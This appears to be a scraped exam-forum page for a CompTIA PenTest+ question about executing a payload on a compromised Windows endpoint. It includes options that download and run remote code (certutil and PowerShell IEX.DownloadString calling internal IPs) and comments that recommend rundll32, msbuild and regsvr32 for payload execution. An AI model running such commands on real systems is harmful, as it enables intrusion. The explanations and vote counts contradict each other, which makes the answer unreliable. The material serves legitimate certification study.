A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?
A.
powershell.exe impo C:\tools\foo.ps1
B.
certutil.exe -f https://192.168.0.1/foo.exe bad.exe
C.
powershell.exe -noni -encode IEX.DownloadString("http://172.16.0.1/")
rundll32.exe is used to load and execute an exported function from a DLL, which is a common way for a tester to run a DLL payload on an endpoint. The other options are malformed or incorrect:
A: impo is not a valid PowerShell command.
B: certutil can be abused to download files but the shown syntax is incorrect (and it's more for file retrieval than directly executing a payload).
C: The -encode usage is incorrect; -EncodedCommand expects base64 and the IEX.DownloadString(...) form is malformed.
A. powershell.exe impo C:\tools\foo.ps1 ❌
• Import-Module alone does not execute a payload.
B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe ❌
• Downloads the file, but does not execute it automatically.
C. powershell.exe -noni -encode IEX.DownloadString(...) ❌ for PT0-003 context
• While this works in practice, the exam sometimes expects native Windows binaries for executing a staged payload, not PowerShell scripting.
• CompTIA exam wording often hints at DLL execution, which is a core “payload execution technique” they emphasize.
D. rundll32.exe c:\path\foo.dll,functName âś…
• Uses a native Windows utility to execute a function exported in a DLL.
• Common in post-exploitation and exactly matches what CompTIA expects when asking about executing a payload from an endpoint.
• Can trigger a malicious DLL payload, which achieves the goal of additional access.
Rundll32:
• Built-in Windows binary that loads a DLL and executes a function inside it.
• Frequently used in pentesting for payload execution without creating an executable.
• Exam frequently tests recognition of native Windows execution methods (Rundll32, MSBuild, Regsvr32, etc.).
🔑 Memory Hook for PT0-003:
• Payload execution on Windows → think “native binaries first”.
• rundll32.exe, msbuild.exe, regsvr32.exe are built-in binaries for executing payloads.
• PowerShell works in real-life attacks, but the exam prioritizes Windows-native execution mechanisms.
rundll32.exe is a legitimate Windows utility that can be used to execute functions exported from DLL files. Penetration testers (and attackers) often use it to execute malicious payloads in a way that blends in with normal system activity.
The command specifies the path to the DLL file (c:\path\foo.dll) and the function to execute (functName).
A. powershell.exe impo C:\tools\foo.ps1: This command is syntactically incorrect. The impo argument is not valid for PowerShell.
B. certutil.exe -f https://192.168.0.1/foo.exe bad.exe: While certutil.exe is often used to download files, this command only downloads the file (foo.exe) and saves it as bad.exe. It does not execute the payload.
C. powershell.exe -noni -encode IEX.DownloadString("http://172.16.0.1/"): This command attempts to execute a PowerShell script, but the syntax is incorrect. The -encode flag is used to provide a base64-encoded script, not a direct command.
rundll32.exe is a legitimate Windows utility used for executing functions within DLL files. Attackers often misuse it to execute malicious code. This option assumes the attacker has already placed the malicious DLL (foo.dll) on the compromised system (at c:\path). By specifying the DLL and the functName (the name of the function within the DLL that contains the malicious code), the attacker can trigger the payload. This technique is commonly used for executing payloads and is relevant to the Pentest+ exam objectives.
Why it's more likely correct:
It pulls a script from a remote server and executes it immediately.
It doesn't rely on a pre-existing file like a DLL or EXE.
This technique is widely used in real-world red team operations, e.g., Cobalt Strike, Empire, etc.
It aligns with post-exploitation behavior for staging additional payloads.
upvoted 2 times
...
This section is not available anymore. Please use the main Exam Page.PT0-003 Exam Questions
Log in to ExamTopics
Sign in:
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.
Upvoting a comment with a selected answer will also increase the vote count towards that answer by one.
So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.
44b375c
2Â days agoYOOOO
1Â month, 4Â weeks agoleesuh
2Â months, 4Â weeks agoleesuh
2Â months, 4Â weeks agoleesuh
2Â months, 4Â weeks agoPhillyCheese
3Â months, 1Â week agoPhillyCheese
3Â months, 1Â week agoCyberVet0609
4Â months, 1Â week ago22db091
4Â months, 3Â weeks ago